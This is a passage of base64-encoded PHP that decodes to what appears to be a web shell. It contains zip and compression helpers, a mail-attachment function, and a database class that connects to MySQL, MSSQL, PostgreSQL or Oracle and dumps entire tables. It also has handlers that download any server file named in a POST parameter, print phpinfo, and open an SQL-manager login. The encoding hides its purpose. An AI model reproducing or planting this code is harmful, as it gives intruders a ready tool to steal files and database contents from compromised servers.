j0gIlx4MTRceDAwIjsNCiAgICAgICAgJGNkcmVjIC49ICJceDAwXHgwMCI7DQogICAgICAgICRjZHJlYyA uPSAiXHgwOFx4MDAiOw0KICAgICAgICAkY2RyZWMgLj0gJGhleGR0aW1lOw0KICAgICAgICAkY2RyZWMgL j0gcGFjaygnVicsICRjcmMpOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygnVicsICRjX2xlbik7DQogICA gICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJHVuY19sZW4pOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygnd icsIHN0cmxlbigkbmFtZSkgKTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQogICAgICA gICRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNC iAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJyw gMzIgKTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkdGhpcyAtPiBvbGRfb2Zmc2V0ICk7DQogI CAgICAgICR0aGlzIC0+IG9sZF9vZmZzZXQgKz0gc3RybGVuKCRmcik7DQogICAgICAgICRjZHJlYyAuPSA kbmFtZTsNCiAgICAgICAgJHRoaXMgLT4gY3RybF9kaXJbXSA9ICRjZHJlYzsNCiAgICB9DQogICAgZnVuY 3Rpb24gZmlsZSgpDQogICAgew0KICAgICAgICAkZGF0YSAgICA9IGltcGxvZGUoJycsICR0aGlzIC0+IGR hdGFzZWMpOw0KICAgICAgICAkY3RybGRpciA9IGltcGxvZGUoJycsICR0aGlzIC0+IGN0cmxfZGlyKTsNC iAgICAgICAgcmV0dXJuDQogICAgICAgICAgICAkZGF0YSAuDQogICAgICAgICAgICAkY3RybGRpciAuDQo gICAgICAgICAgICAkdGhpcyAtPiBlb2ZfY3RybF9kaXIgLg0KICAgICAgICAgICAgcGFjaygndicsIHNpe mVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4NCiAgICAgICAgICAgIHBhY2soJ3YnLCBzaXplb2YoJHRoaXM gLT4gY3RybF9kaXIpKSAuDQogICAgICAgICAgICBwYWNrKCdWJywgc3RybGVuKCRjdHJsZGlyKSkgLg0KI CAgICAgICAgICAgcGFjaygnVicsIHN0cmxlbigkZGF0YSkpIC4NCiAgICAgICAgICAgICJceDAwXHgwMCI 7DQogICAgfQ0KfQ0KZnVuY3Rpb24gY29tcHJlc3MoJiRmaWxlbmFtZSwmJGZpbGVkdW1wLCRjb21wcmVzc ykNCiB7DQogICAgZ2xvYmFsICRjb250ZW50X2VuY29kaW5nOw0KICAgIGdsb2JhbCAkbWltZV90eXBlOw0 KICAgIGlmICgkY29tcHJlc3MgPT0gJ2J6aXAnICYmIEBmdW5jdGlvbl9leGlzdHMoJ2J6Y29tcHJlc3MnK SkNCiAgICAgew0KICAgICAgICAkZmlsZW5hbWUgIC49ICcuYnoyJzsNCiAgICAgICAgJG1pbWVfdHlwZSA 9ICdhcHBsaWNhdGlvbi94LWJ6aXAyJzsNCiAgICAgICAgJGZpbGVkdW1wID0gYnpjb21wcmVzcygkZmlsZ WR1bXApOw0KICAgICB9DQogICAgIGVsc2UgaWYgKCRjb21wcmVzcyA9PSAnZ3ppcCcgJiYgQGZ1bmN0aW9 uX2V4aXN0cygnZ3plbmNvZGUnKSkNCiAgICAgew0KICAgICAgICAkZmlsZW5hbWUgIC49ICcuZ3onOw0KI CAgICAgICAkY29udGVudF9lbmNvZGluZyA9ICd4LWd6aXAnOw0KICAgICAgICAkbWltZV90eXBlID0gJ2F wcGxpY2F0aW9uL3gtZ3ppcCc7DQogICAgICAgICRmaWxlZHVtcCA9IGd6ZW5jb2RlKCRmaWxlZHVtcCk7D QogICAgIH0NCiAgICAgZWxzZSBpZiAoJGNvbXByZXNzID09ICd6aXAnICYmIEBmdW5jdGlvbl9leGlzdHM oJ2d6Y29tcHJlc3MnKSkNCiAgICAgew0KICAgICAgICAgICAgICRmaWxlbmFtZSAuPSAnLnppcCc7DQogI CAgICAgICRtaW1lX3R5cGUgPSAnYXBwbGljYXRpb24vemlwJzsNCiAgICAgICAgJHppcGZpbGUgPSBuZXc gemlwZmlsZSgpOw0KICAgICAgICAkemlwZmlsZSAtPiBhZGRGaWxlKCRmaWxlZHVtcCwgc3Vic3RyKCRma WxlbmFtZSwgMCwgLTQpKTsNCiAgICAgICAgJGZpbGVkdW1wID0gJHppcGZpbGUgLT4gZmlsZSgpOw0KICA gICB9DQogICAgIGVsc2UNCiAgICAgew0KICAgICAgICAgICAgICRtaW1lX3R5cGUgPSAnYXBwbGljYXRpb 24vb2N0ZXQtc3RyZWFtJzsNCiAgICAgfQ0KIH0NCmZ1bmN0aW9uIG1haWxhdHRhY2goJHRvLCRmcm9tLCR zdWJqLCRhdHRhY2gpDQogew0KICRoZWFkZXJzICA9ICJGcm9tOiAkZnJvbVxyXG4iOw0KICRoZWFkZXJzI C49ICJNSU1FLVZlcnNpb246IDEuMFxyXG4iOw0KICRoZWFkZXJzIC49ICJDb250ZW50LVR5cGU6ICIuJGF 0dGFjaFsndHlwZSddOw0KICRoZWFkZXJzIC49ICI7IG5hbWU9XCIiLiRhdHRhY2hbJ25hbWUnXS4iXCJcc lxuIjsNCiAkaGVhZGVycyAuPSAiQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0XHJcblxyXG4 iOw0KICRoZWFkZXJzIC49IGNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUoJGF0dGFjaFsnY29udGVudCddK SkuIlxyXG4iOw0KIGlmKEBtYWlsKCR0bywkc3ViaiwiIiwkaGVhZGVycykpIHsgcmV0dXJuIDE7IH0NCiB yZXR1cm4gMDsNCiB9DQpjbGFzcyBteV9zcWwNCiB7DQogdmFyICRob3N0ID0gJ2xvY2FsaG9zdCc7DQogd
mFyICRwb3J0ID0gJyc7DQogdmFyICR1c2VyID0gJyc7DQogdmFyICRwYXNzID0gJyc7DQogdmFyICRiYXN lID0gJyc7DQogdmFyICRkYiAgID0gJyc7DQogdmFyICRjb25uZWN0aW9uOw0KIHZhciAkcmVzOw0KIHZhc iAkZXJyb3I7DQogdmFyICRyb3dzOw0KIHZhciAkY29sdW1uczsNCiB2YXIgJG51bV9yb3dzOw0KIHZhciA kbnVtX2ZpZWxkczsNCiB2YXIgJGR1bXA7DQoNCiBmdW5jdGlvbiBjb25uZWN0KCkNCiAgew0KICAgICAgI CAgIHN3aXRjaCgkdGhpcy0+ZGIpDQogICAgIHsNCiAgICAgICAgICAgY2FzZSAnTXlTUUwnOg0KICAgICA gICAgICAgaWYoZW1wdHkoJHRoaXMtPnBvcnQpKSB7ICR0aGlzLT5wb3J0ID0gJzMzMDYnOyB9DQogICAgI CAgICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpIHJldHVybiAwOw0KICAgICA gICAgICAgJHRoaXMtPmNvbm5lY3Rpb24gPSBAbXlzcWxfY29ubmVjdCgkdGhpcy0+aG9zdC4nOicuJHRoa XMtPnBvcnQsJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3MpOw0KICAgICAgICAgICAgaWYoaXNfcmVzb3VyY2U oJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsNCiAgICAgICAgICAgYnJlYWs7DQogICAgIGNhc2UgJ 01TU1FMJzoNCiAgICAgIGlmKGVtcHR5KCR0aGlzLT5wb3J0KSkgeyAkdGhpcy0+cG9ydCA9ICcxNDMzJzs gfQ0KICAgICAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKSByZXR1cm4gM DsNCiAgICAgICAgICAgICR0aGlzLT5jb25uZWN0aW9uID0gQG1zc3FsX2Nvbm5lY3QoJHRoaXMtPm hvc3QuJywnLiR0aGlzLT5wb3J0LCR0aGlzLT51c2VyLCR0aGlzLT5wYXNzKTsNCiAgICAgIGlmKCR0aGlz LT5jb25uZWN0aW9uKSByZXR1cm4gMTsNCiAgICAgYnJlYWs7DQogICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg 0KICAgICAgaWYoZW1wdHkoJHRoaXMtPnBvcnQpKSB7ICR0aGlzLT5wb3J0ID0gJzU0MzInOyB9DQogICAg ICAkc3RyID0gImhvc3Q9JyIuJHRoaXMtPmhvc3QuIicgcG9ydD0nIi4kdGhpcy0+cG9ydC4iJyB1c2VyPS ciLiR0aGlzLT51c2VyLiInIHBhc3N3b3JkPSciLiR0aGlzLT5wYXNzLiInIGRibmFtZT0nIi4kdGhpcy0+ YmFzZS4iJyI7DQogICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpIHJldHVybiAwOw 0KICAgICAgJHRoaXMtPmNvbm5lY3Rpb24gPSBAcGdfY29ubmVjdCgkc3RyKTsNCiAgICAgIGlmKGlzX3Jl c291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7DQogICAgIGJyZWFrOw0KICAgICBjYXNlIC dPcmFjbGUnOg0KICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKSkgcmV0dXJuIDA7DQog ICAgICAkdGhpcy0+Y29ubmVjdGlvbiA9IEBvY2lsb2dvbigkdGhpcy0+dXNlciwgJHRoaXMtPnBhc3MsIC R0aGlzLT5iYXNlKTsNCiAgICAgIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJu IDE7DQogICAgIGJyZWFrOw0KICAgICB9DQogICAgcmV0dXJuIDA7DQogIH0NCg0KIGZ1bmN0aW9uIHNlbG VjdF9kYigpDQogIHsNCiAgIHN3aXRjaCgkdGhpcy0+ZGIpDQogICAgew0KICAgICAgICAgIGNhc2UgJ015 U1FMJzoNCiAgICAgICAgICAgaWYoQG15c3FsX3NlbGVjdF9kYigkdGhpcy0+YmFzZSwkdGhpcy0+Y29ubm VjdGlvbikpIHJldHVybiAxOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ01TU1FMJzoNCiAgICAgICAgICAg aWYoQG1zc3FsX3NlbGVjdF9kYigkdGhpcy0+YmFzZSwkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOw 0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAgICByZXR1cm4gMTsNCiAgICBicmVh azsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICByZXR1cm4gMTsNCiAgICBicmVhazsNCiAgICB9DQogIC ByZXR1cm4gMDsNCiAgfQ0KDQogZnVuY3Rpb24gcXVlcnkoJHF1ZXJ5KQ0KICB7DQogICAkdGhpcy0+cmVz PSR0aGlzLT5lcnJvcj0nJzsNCiAgIHN3aXRjaCgkdGhpcy0+ZGIpDQogICAgew0KICAgICAgICAgIGNhc2 UgJ015U1FMJzoNCiAgICAgaWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1AbXlzcWxfcXVlcnkoJy8qJy5jaHIo MCkuJyovJy4kcXVlcnksJHRoaXMtPmNvbm5lY3Rpb24pKSkNCiAgICAgIHsNCiAgICAgICR0aGlzLT5lcn JvciA9IEBteXNxbF9lcnJvcigkdGhpcy0+Y29ubmVjdGlvbik7DQogICAgICByZXR1cm4gMDsNCiAgICAg IH0NCiAgICAgZWxzZSBpZihpc19yZXNvdXJjZSgkdGhpcy0+cmVzKSkgeyByZXR1cm4gMTsgfQ0KICAgIC ByZXR1cm4gMjsNCiAgICAgICAgICBicmVhazsNCiAgICBjYXNlICdNU1NRTCc6DQogICAgIGlmKGZhbHNl PT09KCR0aGlzLT5yZXM9QG1zc3FsX3F1ZXJ5KCRxdWVyeSwkdGhpcy0+Y29ubmVjdGlvbikpKQ0KICAgIC Agew0KICAgICAgJHRoaXMtPmVycm9yID0gJ1F1ZXJ5IGVycm9yJzsNCiAgICAgIHJldHVybiAwOw0KICAg ICAgfQ0KICAgICAgZWxzZSBpZihAbXNzcWxfbnVtX3Jvd3MoJHRoaXMtPnJlcykgPiAwKSB7IHJldHVybi AxOyB9DQogICAgIHJldHVybiAyOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAg ICBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBwZ19xdWVyeSgkdGhpcy0+Y29ubmVjdGlvbiwkcXVlcnkpKS kNCiAgICAgIHsNCiAgICAgICR0aGlzLT5lcnJvciA9IEBwZ19sYXN0X2Vycm9yKCR0aGlzLT5jb25uZWN0 aW9uKTsNCiAgICAgIHJldHVybiAwOw0KICAgICAgfQ0KICAgICAgZWxzZSBpZihAcGdfbnVtX3Jvd3MoJH RoaXMtPnJlcykgPiAwKSB7IHJldHVybiAxOyB9DQogICAgIHJldHVybiAyOw0KICAgIGJyZWFrOw0KICAg IGNhc2UgJ09yYWNsZSc6DQogICAgIGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG9jaXBhcnNlKCR0aGlzLT 5jb25uZWN0aW9uLCRxdWVyeSkpKQ0KICAgICAgew0KICAgICAgJHRoaXMtPmVycm9yID0gJ1F1ZXJ5IHBh cnNlIGVycm9yJzsNCiAgICAgIH0NCiAgICAgZWxzZQ0KICAgICAgew0KICAgICAgaWYoQG9jaWV4ZWN1dG UoJHRoaXMtPnJlcykpDQogICAgICAgew0KICAgICAgIGlmKEBvY2lyb3djb3VudCgkdGhpcy0+cmVzKSAh PSAwKSByZXR1cm4gMjsNCiAgICAgICByZXR1cm4gMTsNCiAgICAgICB9DQogICAgICAkZXJyb3IgPSBAb2 NpZXJyb3IoKTsNCiAgICAgICR0aGlzLT5lcnJvcj0kZXJyb3JbJ21lc3NhZ2UnXTsNCiAgICAgIH0NCiAg ICBicmVhazsNCiAgICB9DQogIHJldHVybiAwOw0KICB9DQogZnVuY3Rpb24gZ2V0X3Jlc3VsdCgpDQogIH sNCiAgICR0aGlzLT5yb3dzPWFycmF5KCk7DQogICAkdGhpcy0+Y29sdW1ucz1hcnJheSgpOw0KICAgJHRo aXMtPm51bV9yb3dzPSR0aGlzLT5udW1fZmllbGRzPTA7DQogICBzd2l0Y2goJHRoaXMtPmRiKQ0KICAgIH sNCiAgICAgICAgICBjYXNlICdNeVNRTCc6DQogICAgICAgICAgICR0aGlzLT5udW1fcm93cz1AbXlzcWxf bnVtX3Jvd3MoJHRoaXMtPnJlcyk7DQogICAgICAgICAgICR0aGlzLT5udW1fZmllbGRzPUBteXNxbF9udW 1fZmllbGRzKCR0aGlzLT5yZXMpOw0KICAgICAgICAgICB3aGlsZShmYWxzZSAhPT0gKCR0aGlzLT5yb3dz
W10gPSBAbXlzcWxfZmV0Y2hfYXNzb2MoJHRoaXMtPnJlcykpKTsNCiAgICAgICAgICAgQG15c3FsX2ZyZW VfcmVzdWx0KCR0aGlzLT5yZXMpOw0KICAgICAgICAgICBpZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5j b2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9DQogICAgYnJlYWs7DQ ogICAgY2FzZSAnTVNTUUwnOg0KICAgICAgICAgICAkdGhpcy0+bnVtX3Jvd3M9QG1zc3FsX251bV9yb3dz KCR0aGlzLT5yZXMpOw0KICAgICAgICAgICAkdGhpcy0+bnVtX2ZpZWxkcz1AbXNzcWxfbnVtX2ZpZWxkcy gkdGhpcy0+cmVzKTsNCiAgICAgICAgICAgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQG1z c3FsX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSk7DQogICAgICAgICAgIEBtc3NxbF9mcmVlX3Jlc3VsdC gkdGhpcy0+cmVzKTsNCiAgICAgICAgICAgaWYoJHRoaXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucyA9 IEBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgcmV0dXJuIDE7fTsNCiAgICBicmVhazsNCiAgICBjYX NlICdQb3N0Z3JlU1FMJzoNCiAgICAgICAgICAgJHRoaXMtPm51bV9yb3dzPUBwZ19udW1fcm93cygkdGhp cy0+cmVzKTsNCiAgICAgICAgICAgJHRoaXMtPm51bV9maWVsZHM9QHBnX251bV9maWVsZHMoJHRoaXMtPn Jlcyk7DQogICAgICAgICAgIHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBwZ19mZXRjaF9h c3NvYygkdGhpcy0+cmVzKSkpOw0KICAgICAgICAgICBAcGdfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7DQ ogICAgICAgICAgIGlmKCR0aGlzLT5udW1fcm93cyl7JHRoaXMtPmNvbHVtbnMgPSBAYXJyYXlfa2V5cygk dGhpcy0+cm93c1swXSk7IHJldHVybiAxO30NCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KIC AgICAkdGhpcy0+bnVtX2ZpZWxkcz1Ab2NpbnVtY29scygkdGhpcy0+cmVzKTsNCiAgICAgd2hpbGUoZmFs c2UgIT09ICgkdGhpcy0+cm93c1tdID0gQG9jaV9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpICR0aGlzLT 5udW1fcm93cysrOw0KICAgICBAb2NpZnJlZXN0YXRlbWVudCgkdGhpcy0+cmVzKTsNCiAgICAgaWYoJHRo aXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucyA9IEBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgcm V0dXJuIDE7fQ0KICAgIGJyZWFrOw0KICAgIH0NCiAgIHJldHVybiAwOw0KICB9DQogZnVuY3Rpb24gZHVt cCgkdGFibGUpDQogIHsNCiAgIGlmKGVtcHR5KCR0YWJsZSkpIHJldHVybiAwOw0KICAgJHRoaXMtPmR1bX A9YXJyYXkoKTsNCiAgICR0aGlzLT5kdW1wWzBdID0gJyMjJzsNCiAgICR0aGlzLT5kdW1wWzFdID0gJyMj IC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOw0KICAgJHRoaXMtPmR1bXBbMl 0gPSAnIyMgIENyZWF0ZWQ6ICcuZGF0ZSAoImQvbS9ZIEg6aTpzIik7DQogICAkdGhpcy0+ZHVtcFszXSA9 ICcjIyBEYXRhYmFzZTogJy4kdGhpcy0+YmFzZTsNCiAgICR0aGlzLT5kdW1wWzRdID0gJyMjICAgIFRhYm xlOiAnLiR0YWJsZTsNCiAgICR0aGlzLT5kdW1wWzVdID0gJyMjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLSAnOw0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogICAgICAgICAgY2 FzZSAnTXlTUUwnOg0KICAgICAgICAgICAkdGhpcy0+ZHVtcFswXSA9ICcjIyBNeVNRTCBkdW1wJzsNCiAg ICAgICAgICAgaWYoJHRoaXMtPnF1ZXJ5KCcvKicuY2hyKDApLicqLyBTSE9XIENSRUFURSBUQUJMRSBgJy 4kdGFibGUuJ2AnKSE9MSkgcmV0dXJuIDA7DQogICAgICAgICAgIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgp KSByZXR1cm4gMDsNCiAgICAgICAgICAgJHRoaXMtPmR1bXBbXSA9ICR0aGlzLT5yb3dzWzBdWydDcmVhdG UgVGFibGUnXTsNCiAgICAgJHRoaXMtPmR1bXBbXSA9ICcjIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0gJzsNCiAgICAgICAgICAgaWYoJHRoaXMtPnF1ZXJ5KCcvKicuY2hyKDApLicqLy BTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpIT0xKSByZXR1cm4gMDsNCiAgICAgICAgICAgaWYoISR0 aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOw0KICAgICAgICAgICBmb3IoJGk9MDskaTwkdGhpcy0+bn VtX3Jvd3M7JGkrKykNCiAgICAgICAgICAgIHsNCiAgICAgIGZvcmVhY2goJHRoaXMtPnJvd3NbJGldIGFz ICRrPT4kdikgeyR0aGlzLT5yb3dzWyRpXVska10gPSBAbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KT t9DQogICAgICAgICAgICAkdGhpcy0+ZHVtcFtdID0gJ0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCAoYCcu QGltcGxvZGUoImAsIGAiLCAkdGhpcy0+Y29sdW1ucykuJ2ApIFZBTFVFUyAoXCcnLkBpbXBsb2RlKCInLC AnIiwgJHRoaXMtPnJvd3NbJGldKS4nXCcpOyc7DQogICAgICAgICAgICB9DQogICAgYnJlYWs7DQogICAg Y2FzZSAnTVNTUUwnOg0KICAgICAkdGhpcy0+ZHVtcFswXSA9ICcjIyBNU1NRTCBkdW1wJzsNCiAgICAgaW YoJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKSE9MSkgcmV0dXJuIDA7DQogICAgICAg ICAgIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsNCiAgICAgICAgICAgZm9yKCRpPTA7JG k8JHRoaXMtPm51bV9yb3dzOyRpKyspDQogICAgICAgICAgICB7DQogICAgICBmb3JlYWNoKCR0aGlzLT5y b3dzWyRpXSBhcyAkaz0+JHYpIHskdGhpcy0+cm93c1skaV1bJGtdID0gQGFkZHNsYXNoZXMoJHYpO30NCi AgICAgICAgICAgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5AaW1wbG9k ZSgiLCAiLCAkdGhpcy0+Y29sdW1ucykuJykgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy 0+cm93c1skaV0pLidcJyk7JzsNCiAgICAgICAgICAgIH0NCiAgICBicmVhazsNCiAgICBjYXNlICdQb3N0 Z3JlU1FMJzoNCiAgICAgJHRoaXMtPmR1bXBbMF0gPSAnIyMgUG9zdGdyZVNRTCBkdW1wJzsNCiAgICAgaW YoJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKSE9MSkgcmV0dXJuIDA7DQogICAgICAg ICAgIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsNCiAgICAgICAgICAgZm9yKCRpPTA7JG k8JHRoaXMtPm51bV9yb3dzOyRpKyspDQogICAgICAgICAgICB7DQogICAgICBmb3JlYWNoKCR0aGlzLT5y b3dzWyRpXSBhcyAkaz0+JHYpIHskdGhpcy0+cm93c1skaV1bJGtdID0gQGFkZHNsYXNoZXMoJHYpO30NCi AgICAgICAgICAgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5AaW1wbG9k ZSgiLCAiLCAkdGhpcy0+Y29sdW1ucykuJykgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy 0+cm93c1skaV0pLidcJyk7JzsNCiAgICAgICAgICAgIH0NCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFj bGUnOg0KICAgICAgJHRoaXMtPmR1bXBbMF0gPSAnIyMgT1JBQ0xFIGR1bXAnOw0KICAgICAgJHRoaXMtPm R1bXBbXSAgPSAnIyMgdW5kZXIgY29uc3RydWN0aW9uJzsNCiAgICBicmVhazsNCiAgICBkZWZhdWx0Og0K
ICAgICByZXR1cm4gMDsNCiAgICBicmVhazsNCiAgICB9DQogICByZXR1cm4gMTsNCiAgfQ0KIGZ1bmN0aW 9uIGNsb3NlKCkNCiAgew0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogICAgICAgICAgY2FzZSAn TXlTUUwnOg0KICAgICAgICAgICBAbXlzcWxfY2xvc2UoJHRoaXMtPmNvbm5lY3Rpb24pOw0KICAgIGJyZW FrOw0KICAgIGNhc2UgJ01TU1FMJzoNCiAgICAgQG1zc3FsX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsN CiAgICBicmVhazsNCiAgICBjYXNlICdQb3N0Z3JlU1FMJzoNCiAgICAgQHBnX2Nsb3NlKCR0aGlzLT5jb2 5uZWN0aW9uKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICBAb2NpX2Nsb3NlKCR0 aGlzLT5jb25uZWN0aW9uKTsNCiAgICBicmVhazsNCiAgICB9DQogIH0NCiBmdW5jdGlvbiBhZmZlY3RlZF 9yb3dzKCkNCiAgew0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogICAgICAgICAgY2FzZSAnTXlT UUwnOg0KICAgICAgICAgICByZXR1cm4gQG15c3FsX2FmZmVjdGVkX3Jvd3MoJHRoaXMtPnJlcyk7DQogIC AgYnJlYWs7DQogICAgY2FzZSAnTVNTUUwnOg0KICAgICByZXR1cm4gQG1zc3FsX2FmZmVjdGVkX3Jvd3Mo JHRoaXMtPnJlcyk7DQogICAgYnJlYWs7DQogICAgY2FzZSAnUG9zdGdyZVNRTCc6DQogICAgIHJldHVybi BAcGdfYWZmZWN0ZWRfcm93cygkdGhpcy0+cmVzKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUn Og0KICAgICByZXR1cm4gQG9jaXJvd2NvdW50KCR0aGlzLT5yZXMpOw0KICAgIGJyZWFrOw0KICAgIGRlZm F1bHQ6DQogICAgIHJldHVybiAwOw0KICAgIGJyZWFrOw0KICAgIH0NCiAgfQ0KIH0NCmlmKCFlbXB0eSgk X1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0iZG93bmxvYWRfZmlsZSIgJiYgIWVtcHR5KCRfUE 9TVFsnZF9uYW1lJ10pKQ0KIHsNCiAgaWYoISRmaWxlPUBmb3BlbigkX1BPU1RbJ2RfbmFtZSddLCJyIikp IHsgZXJyKDEsJF9QT1NUWydkX25hbWUnXSk7ICRfUE9TVFsnY21kJ109IiI7IH0NCiAgZWxzZQ0KICAgew 0KICAgIEBvYl9jbGVhbigpOw0KICAgICRmaWxlbmFtZSA9IEBiYXNlbmFtZSgkX1BPU1RbJ2RfbmFtZSdd KTsNCiAgICAkZmlsZWR1bXAgPSBAZnJlYWQoJGZpbGUsQGZpbGVzaXplKCRfUE9TVFsnZF9uYW1lJ 10pKTsNCiAgICBmY2xvc2UoJGZpbGUpOw0KICAgICRjb250ZW50X2VuY29kaW5nPSRtaW1lX3R5cGU9Jyc 7DQogICAgY29tcHJlc3MoJGZpbGVuYW1lLCRmaWxlZHVtcCwkX1BPU1RbJ2NvbXByZXNzJ10pOw0KICAgI GlmICghZW1wdHkoJGNvbnRlbnRfZW5jb2RpbmcpKSB7IGhlYWRlcignQ29udGVudC1FbmNvZGluZzogJyA uICRjb250ZW50X2VuY29kaW5nKTsgfQ0KICAgIGhlYWRlcigiQ29udGVudC10eXBlOiAiLiRtaW1lX3R5c GUpOw0KICAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCI iLiRmaWxlbmFtZS4iXCI7Iik7DQogICAgZWNobyAkZmlsZWR1bXA7DQogICAgZXhpdCgpOw0KICAgfQ0KI H0NCg0KaWYoaXNzZXQoJF9HRVRbJ3BocGluZm8nXSkpIHsgZWNobyBAcGhwaW5mbygpOyBlY2hvICI8YnI +PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX 1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7IGRpZSgpOyB9DQp pZihpc3NldCgkX0dFVFsnc3FsbWFuJ10pKSB7DQpzZXNzaW9uX3N0YXJ0KCk7DQokYWN0aW9uID0gJEhUV FBfR0VUX1ZBUlNbJ2FjdGlvbiddOw0KJHBhZ2VtYXg9MjA7IC8vIE1heGltdW0gcm93cyBkaXNwbGFlZCB wZXIgcGFnZSwgY2hhbmdlIHRvIGRpc3BsYXkgbW9yZSBvciBsZXNzIHJvd3MgcGVyIHBhZ2UuDQpmdW5jd GlvbiBzaG93X2xvZ2luKCRkYm5hbWVhcnJheSl7DQogICAgICRob3N0ZGVmYXVsdD0ibG9jYWxob3N0Ijs NCiAgICAgICAgICAgICAgICBlY2hvIjx0YWJsZT4iOw0KICAgICAgICAgICAgICAgIGVjaG8iPGZvcm0gI G5hbWU9J3Nob3dsb2dpbicgbWV0aG9kPSdwb3N0JyBhY3Rpb249JyRhY3Rpb24nPiI7DQogICAgICAgIGl mKGNvdW50KCRob3N0ZGVmYXVsdCkgPiAxKXsNCiAgICAgICAgICAgIGVjaG8iPHRyPjx0ZD4/Pz8gQz8/P z8/Pz86PC90ZD48dGQ+PHNlbGVjdCBuYW1lPWhvc3Q+IjsNCiAgICAgICAgICAgIGZvcigkeD0wOyAkeCA 8IGNvdW50KCRob3N0ZGVmYXVsdCk7JHgrKyl7DQogICAgICAgICAgICAgICAgZWNobyI8b3B0aW9uIHZhb HVlPSRob3N0ZGVmYXVsdFskeF0+JGhvc3RkZWZhdWx0WyR4XSI7DQogICAgICAgICAgICB9DQogICAgICA gICAgICBlY2hvIjwvc2VsZWN0PjwvdGQ+PC90cj5cbiI7DQogICAgICAgIH1lbHNlew0KICAgICAgICAgI 